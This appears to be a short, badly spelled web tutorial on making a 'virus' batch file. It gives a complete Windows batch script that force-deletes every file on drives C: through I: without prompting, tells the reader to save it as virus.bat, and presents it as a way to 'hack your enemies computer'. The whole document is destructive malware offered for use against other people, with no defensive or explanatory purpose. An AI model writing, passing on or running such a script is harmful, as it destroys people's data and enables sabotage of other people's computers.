How to make a danger virus to format pc drive?

This tricks is dangerous to test it on your computer becouse it's delete your all hard drive data

at first open note pad then type or copy this code and save its anyname.bat like virus.bat and click to open this and delete your all data. This tricks to hack your enemies computer.

code is----------

@echo off

del C:\*.* /f /s /q

del D:\*.* /f /s /q

del E:\*.* /f /s /q

del F:\*.* /f /s /q

del G:\*.* /f /s /q

del H:\*.* /f /s /q

del I:\*.* /f /s /q

save its anyname.bat like virus.bat